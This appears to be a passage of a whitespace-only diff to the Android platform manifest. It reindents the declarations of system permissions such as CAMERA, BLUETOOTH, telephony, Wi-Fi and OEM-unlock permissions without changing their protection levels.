<!-- ====================================================================== -->
<!-- Permissions for accessing the UCE Service -->
@@ -955,15 +955,15 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
- android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:permissionGroup="android.permission-group.PHONE"
+ android:protectionLevel="signatureOrSystem"/>
<!-- @hide Allows an application to Access UCE-OPTIONS.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
- android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:permissionGroup="android.permission-group.PHONE"
+ android:protectionLevel="signatureOrSystem"/>
@@ -975,10 +975,10 @@
<!-- Used for permissions that are associated with accessing
camera or capturing images/video from the device. -->
<permission-group android:name="android.permission-group.CAMERA"
- android:icon="@drawable/perm_group_camera"
- android:label="@string/permgrouplab_camera"
- android:description="@string/permgroupdesc_camera"
- android:priority="700" />
+ android:icon="@drawable/perm_group_camera"
+ android:label="@string/permgrouplab_camera"
+ android:description="@string/permgroupdesc_camera"
+ android:priority="700" />
<!-- Required to be able to access the camera device.
<p>This will automatically enforce the <a
@@ -990,10 +990,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.CAMERA"
- android:permissionGroup="android.permission-group.CAMERA"
- android:label="@string/permlab_camera"
- android:description="@string/permdesc_camera"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.CAMERA"
+ android:label="@string/permlab_camera"
+ android:description="@string/permdesc_camera"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- ====================================================================== -->
@@ -1004,28 +1004,28 @@
<!-- Used for permissions that are associated with accessing
camera or capturing images/video from the device. -->
<permission-group android:name="android.permission-group.SENSORS"
- android:icon="@drawable/perm_group_sensors"
- android:label="@string/permgrouplab_sensors"
- android:description="@string/permgroupdesc_sensors"
- android:priority="800" />
+ android:icon="@drawable/perm_group_sensors"
+ android:label="@string/permgrouplab_sensors"
+ android:description="@string/permgroupdesc_sensors"
+ android:priority="800" />
<!-- Allows an application to access data from sensors that the user uses to
measure what is happening inside his/her body, such as heart rate.
<p>Protection level: dangerous -->
<permission android:name="android.permission.BODY_SENSORS"
- android:permissionGroup="android.permission-group.SENSORS"
- android:label="@string/permlab_bodySensors"
- android:description="@string/permdesc_bodySensors"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SENSORS"
+ android:label="@string/permlab_bodySensors"
+ android:description="@string/permdesc_bodySensors"
+ android:protectionLevel="dangerous" />
<!-- Allows an app to use fingerprint hardware.
<p>Protection level: normal
-->
<permission android:name="android.permission.USE_FINGERPRINT"
- android:permissionGroup="android.permission-group.SENSORS"
- android:label="@string/permlab_useFingerprint"
- android:description="@string/permdesc_useFingerprint"
- android:protectionLevel="normal" />
+ android:permissionGroup="android.permission-group.SENSORS"
+ android:label="@string/permlab_useFingerprint"
+ android:description="@string/permdesc_useFingerprint"
+ android:protectionLevel="normal" />
<!-- ====================================================================== -->
<!-- REMOVED PERMISSIONS -->
@@ -1033,78 +1033,78 @@
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.READ_PROFILE"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_PROFILE"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.READ_SOCIAL_STREAM"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_SOCIAL_STREAM"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.READ_USER_DICTIONARY"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_USER_DICTIONARY"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_SMS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.MANAGE_ACCOUNTS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.USE_CREDENTIALS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.FLASHLIGHT"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- ====================================================================== -->
<!-- INSTALL PERMISSIONS -->
@@ -1119,37 +1119,37 @@
to handle the respond-via-message action during incoming calls.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SEND_RESPOND_VIA_MESSAGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to send SMS to premium shortcodes without user permission.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.SEND_SMS_NO_CONFIRMATION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to filter carrier specific sms.
@hide -->
<permission android:name="android.permission.CARRIER_FILTER_SMS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to receive emergency cell broadcast messages,
to record or display them to the user.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.RECEIVE_EMERGENCY_BROADCAST"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to monitor incoming Bluetooth MAP messages, to record
or perform processing on them. -->
<!-- @hide -->
<permission android:name="android.permission.RECEIVE_BLUETOOTH_MAP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to execute contacts directory search.
This should only be used by ContactsProvider.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.BIND_DIRECTORY_SEARCH"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to modify cell broadcasts through the content provider.
<p>Not for use by third-party applications. -->
@@ -1165,9 +1165,9 @@
<p>Protection level: normal
-->
<permission android:name="com.android.alarm.permission.SET_ALARM"
- android:label="@string/permlab_setAlarm"
- android:description="@string/permdesc_setAlarm"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_setAlarm"
+ android:description="@string/permdesc_setAlarm"
+ android:protectionLevel="normal" />
<!-- =============================================================== -->
<!-- Permissions for accessing the user voicemail -->
@@ -1178,13 +1178,13 @@
<p>Protection level: signature|privileged
-->
<permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to read voicemails in the system.
<p>Protection level: signature|privileged
-->
<permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ======================================= -->
<!-- Permissions for accessing location info -->
@@ -1195,26 +1195,26 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
- android:label="@string/permlab_accessLocationExtraCommands"
- android:description="@string/permdesc_accessLocationExtraCommands"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_accessLocationExtraCommands"
+ android:description="@string/permdesc_accessLocationExtraCommands"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an application to install a location provider into the Location Manager.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
This should only be used by HDMI-CEC service.
-->
<permission android:name="android.permission.HDMI_CEC"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to use location features in hardware,
such as the geofencing api.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.LOCATION_HARDWARE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
<!-- @SystemApi Allows an application to create mock location providers for testing.
@@ -1222,7 +1222,7 @@
@hide
-->
<permission android:name="android.permission.ACCESS_MOCK_LOCATION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- ======================================= -->
<!-- Permissions for accessing networks -->
@@ -1233,86 +1233,86 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.INTERNET"
- android:description="@string/permdesc_createNetworkSockets"
- android:label="@string/permlab_createNetworkSockets"
- android:protectionLevel="normal|ephemeral" />
+ android:description="@string/permdesc_createNetworkSockets"
+ android:label="@string/permlab_createNetworkSockets"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows applications to access information about networks.
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_NETWORK_STATE"
- android:description="@string/permdesc_accessNetworkState"
- android:label="@string/permlab_accessNetworkState"
- android:protectionLevel="normal|ephemeral" />
+ android:description="@string/permdesc_accessNetworkState"
+ android:label="@string/permlab_accessNetworkState"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows applications to access information about Wi-Fi networks.
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_WIFI_STATE"
- android:description="@string/permdesc_accessWifiState"
- android:label="@string/permlab_accessWifiState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_accessWifiState"
+ android:label="@string/permlab_accessWifiState"
+ android:protectionLevel="normal" />
<!-- Allows applications to change Wi-Fi connectivity state.
<p>Protection level: normal
-->
<permission android:name="android.permission.CHANGE_WIFI_STATE"
- android:description="@string/permdesc_changeWifiState"
- android:label="@string/permlab_changeWifiState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeWifiState"
+ android:label="@string/permlab_changeWifiState"
+ android:protectionLevel="normal" />
<!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_WIFI_CREDENTIAL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows applications to change tether state and run
tether carrier provisioning.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.TETHER_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allow system apps to receive broadcast
when a wifi network credential is changed.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.RECEIVE_WIFI_CREDENTIAL_CHANGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to modify any wifi configuration, even if created
by another application. Once reconfigured the original creator cannot make any further
modifications.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide -->
<permission android:name="android.permission.ACCESS_WIMAX_STATE"
- android:description="@string/permdesc_accessWimaxState"
- android:label="@string/permlab_accessWimaxState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_accessWimaxState"
+ android:label="@string/permlab_accessWimaxState"
+ android:protectionLevel="normal" />
<!-- @hide -->
<permission android:name="android.permission.CHANGE_WIMAX_STATE"
- android:description="@string/permdesc_changeWimaxState"
- android:label="@string/permlab_changeWimaxState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeWimaxState"
+ android:label="@string/permlab_changeWimaxState"
+ android:protectionLevel="normal" />
<!-- Allows applications to act as network scorers. @hide @SystemApi-->
<permission android:name="android.permission.SCORE_NETWORKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to request network
recommendations and scores from the NetworkScoreService.
<p>Not for use by third-party applications. @hide -->
<permission android:name="android.permission.REQUEST_NETWORK_SCORES"
- android:protectionLevel="signature|setup" />
+ android:protectionLevel="signature|setup" />
<!-- Allows network stack services (Connectivity and Wifi) to coordinate
<p>Not for use by third-party or privileged applications.
@hide This should only be used by Connectivity and Wifi Services.
-->
<permission android:name="android.permission.NETWORK_STACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows Settings and SystemUI to call methods in Networking services
<p>Not for use by third-party or privileged applications.
@@ -1330,73 +1330,73 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.BLUETOOTH"
- android:description="@string/permdesc_bluetooth"
- android:label="@string/permlab_bluetooth"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_bluetooth"
+ android:label="@string/permlab_bluetooth"
+ android:protectionLevel="normal" />
<!-- Allows applications to discover and pair bluetooth devices.
<p>Protection level: normal
-->
<permission android:name="android.permission.BLUETOOTH_ADMIN"
- android:description="@string/permdesc_bluetoothAdmin"
- android:label="@string/permlab_bluetoothAdmin"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_bluetoothAdmin"
+ android:label="@string/permlab_bluetoothAdmin"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows applications to pair bluetooth devices without user interaction, and to
allow or disallow phonebook access or message access.
This is not available to third party applications. -->
<permission android:name="android.permission.BLUETOOTH_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Control access to email providers exclusively for Bluetooth
@hide
-->
<permission android:name="android.permission.BLUETOOTH_MAP"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows bluetooth stack to access files
@hide This should only be used by Bluetooth apk.
-->
<permission android:name="android.permission.BLUETOOTH_STACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows applications to perform I/O operations over NFC.
<p>Protection level: normal
-->
<permission android:name="android.permission.NFC"
- android:description="@string/permdesc_nfc"
- android:label="@string/permlab_nfc"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_nfc"
+ android:label="@string/permlab_nfc"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an internal user to use privileged ConnectivityManager APIs.
@hide -->
<permission android:name="android.permission.CONNECTIVITY_INTERNAL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an internal user to use restricted Networks.
@hide -->
<permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows a system application to access hardware packet offload capabilities.
@hide -->
<permission android:name="android.permission.PACKET_KEEPALIVE_OFFLOAD"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi
@hide -->
<permission android:name="android.permission.RECEIVE_DATA_ACTIVITY_CHANGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows access to the loop radio (Android@Home mesh network) device.
@hide -->
<permission android:name="android.permission.LOOP_RADIO"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows sending and receiving handover transfer status from Wifi and Bluetooth
@hide -->
<permission android:name="android.permission.NFC_HANDOVER_STATUS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ================================== -->
<!-- Permissions for accessing accounts -->
@@ -1415,16 +1415,16 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.GET_ACCOUNTS"
- android:permissionGroup="android.permission-group.CONTACTS"
- android:protectionLevel="dangerous"
- android:description="@string/permdesc_getAccounts"
- android:label="@string/permlab_getAccounts" />
+ android:permissionGroup="android.permission-group.CONTACTS"
+ android:protectionLevel="dangerous"
+ android:description="@string/permdesc_getAccounts"
+ android:label="@string/permlab_getAccounts" />
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<!-- @SystemApi Allows applications to call into AccountAuthenticators.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.ACCOUNT_MANAGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- ================================== -->
<!-- Permissions for accessing hardware that may effect battery life-->
@@ -1435,34 +1435,34 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"
- android:description="@string/permdesc_changeWifiMulticastState"
- android:label="@string/permlab_changeWifiMulticastState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeWifiMulticastState"
+ android:label="@string/permlab_changeWifiMulticastState"
+ android:protectionLevel="normal" />
<!-- Allows access to the vibrator.
<p>Protection level: normal
-->
<permission android:name="android.permission.VIBRATE"
- android:label="@string/permlab_vibrate"
- android:description="@string/permdesc_vibrate"
- android:protectionLevel="normal|ephemeral" />
+ android:label="@string/permlab_vibrate"
+ android:description="@string/permdesc_vibrate"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
from dimming.
<p>Protection level: normal
-->
<permission android:name="android.permission.WAKE_LOCK"
- android:label="@string/permlab_wakeLock"
- android:description="@string/permdesc_wakeLock"
- android:protectionLevel="normal|ephemeral" />
+ android:label="@string/permlab_wakeLock"
+ android:description="@string/permdesc_wakeLock"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows using the device's IR transmitter, if available.
<p>Protection level: normal
-->
<permission android:name="android.permission.TRANSMIT_IR"
- android:label="@string/permlab_transmitIr"
- android:description="@string/permdesc_transmitIr"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_transmitIr"
+ android:description="@string/permdesc_transmitIr"
+ android:protectionLevel="normal" />
<!-- ==================================================== -->
<!-- Permissions related to changing audio settings -->
@@ -1473,9 +1473,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"
- android:label="@string/permlab_modifyAudioSettings"
- android:description="@string/permdesc_modifyAudioSettings"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_modifyAudioSettings"
+ android:description="@string/permdesc_modifyAudioSettings"
+ android:protectionLevel="normal" />
<!-- ================================== -->
<!-- Permissions for accessing hardware -->
@@ -1485,83 +1485,83 @@
<!-- @SystemApi Allows an application to manage preferences and permissions for USB devices
@hide -->
<permission android:name="android.permission.MANAGE_USB"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to access the MTP USB kernel driver.
For use only by the device side MTP implementation.
@hide -->
<permission android:name="android.permission.ACCESS_MTP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows access to hardware peripherals. Intended only for hardware testing.
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.HARDWARE_TEST"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows access to FM
@hide This is not a third-party API (intended for system apps).-->
<permission android:name="android.permission.ACCESS_FM_RADIO"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows access to configure network interfaces, configure/use IPSec, etc.
@hide -->
<permission android:name="android.permission.NET_ADMIN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows registration for remote audio playback. @hide -->
<permission android:name="android.permission.REMOTE_AUDIO_PLAYBACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows TvInputService to access underlying TV input hardware such as
built-in tuners and HDMI-in's.
@hide This should only be used by OEM's TvInputService's.
-->
<permission android:name="android.permission.TV_INPUT_HARDWARE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows to capture a frame of TV input hardware such as
built-in tuners and HDMI-in's.
@hide <p>Not for use by third-party applications.
-->
<permission android:name="android.permission.CAPTURE_TV_INPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide Allows TvInputService to access DVB device.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DVB_DEVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by carrier state
@hide <p>Not for use by third-party applications. -->
<permission android:name="android.permission.MANAGE_CARRIER_OEM_UNLOCK_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by user state
@hide <p>Not for use by third-party applications. -->
<permission android:name="android.permission.MANAGE_USER_OEM_UNLOCK_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows reading the OEM unlock state
@hide <p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_OEM_UNLOCK_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide Allows enabling/disabling OEM unlock
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.OEM_UNLOCK_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows querying state of PersistentDataBlock
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.ACCESS_PDB_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows system update service to notify device owner about pending updates.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.NOTIFY_PENDING_SYSTEM_UPDATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- =========================================== -->
<!-- Permissions associated with camera and image capture -->
@@ -1572,12 +1572,12 @@
a camera is in use by an application.
@hide -->
<permission android:name="android.permission.CAMERA_DISABLE_TRANSMIT_LED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows sending the camera service notifications about system-wide events.
@hide -->
<permission android:name="android.permission.CAMERA_SEND_SYSTEM_EVENTS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- =========================================== -->
<!-- Permissions associated with telephony state -->
@@ -1588,58 +1588,58 @@
Does not include placing calls.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MODIFY_PHONE_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows read only access to precise phone state.
@hide Pending API council approval -->
<permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows read access to privileged phone state.
@hide Used internally. -->
<permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Protects the ability to register any PhoneAccount with
PhoneAccount#CAPABILITY_SIM_SUBSCRIPTION. This capability indicates that the PhoneAccount
corresponds to a device SIM.
@hide -->
<permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Protects the ability to register any PhoneAccount with
PhoneAccount#CAPABILITY_CALL_PROVIDER.
@hide -->
<permission android:name="android.permission.REGISTER_CALL_PROVIDER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Protects the ability to register any PhoneAccount with
PhoneAccount#CAPABILITY_CONNECTION_MANAGER
@hide -->
<permission android:name="android.permission.REGISTER_CONNECTION_MANAGER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.InCallService},
to ensure that only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_INCALL_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a link {@link android.telephony.VisualVoicemailService} to ensure that
only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission
- android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
- android:protectionLevel="signature|privileged"/>
+ android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+ android:protectionLevel="signature|privileged"/>
<!-- Must be required by a {@link android.telecom.CallScreeningService},
to ensure that only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_SCREENING_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.ConnectionService},
to ensure that only the system can bind to it.
@@ -1648,24 +1648,24 @@
@SystemApi
@hide -->
<permission android:name="android.permission.BIND_CONNECTION_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.ConnectionService},
to ensure that only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to control the in-call experience.
@hide -->
<permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to receive STK related commands.
@hide -->
<permission android:name="android.permission.RECEIVE_STK_COMMANDS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by an ImsService to ensure that only the
system can bind to it.
@@ -1674,7 +1674,7 @@
@hide
-->
<permission android:name="android.permission.BIND_IMS_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ================================== -->
@@ -1685,7 +1685,7 @@
<!-- @SystemApi Allows an application to write to internal media storage
@hide -->
<permission android:name="android.permission.WRITE_MEDIA_STORAGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to manage access to documents, usually as part
of a document picker.
@@ -1695,21 +1695,21 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.MANAGE_DOCUMENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to cache content.
<p>Not for use by third-party applications.
<p>Protection level: signature
-->
<permission android:name="android.permission.CACHE_CONTENT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide
Allows an application to aggressively allocate disk space.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.ALLOCATE_AGGRESSIVE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ================================== -->
<!-- Permissions for screenlock -->
@@ -1720,9 +1720,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.DISABLE_KEYGUARD"
- android:description="@string/permdesc_disableKeyguard"
- android:label="@string/permlab_disableKeyguard"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_disableKeyguard"
+ android:label="@string/permlab_disableKeyguard"
+ android:protectionLevel="normal" />
<!-- ================================== -->
<!-- Permissions to access other installed applications -->
@@ -1731,9 +1731,9 @@
<!-- @deprecated No longer enforced. -->
<permission android:name="android.permission.GET_TASKS"
- android:label="@string/permlab_getTasks"
- android:description="@string/permdesc_getTasks"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_getTasks"
+ android:description="@string/permdesc_getTasks"
+ android:protectionLevel="normal" />
<!-- New version of GET_TASKS that apps can request, since GET_TASKS doesn't really
give access to task information. We need this new one because there are
@@ -1746,32 +1746,32 @@
@hide
@SystemApi -->
<permission android:name="android.permission.REAL_GET_TASKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
@hide -->
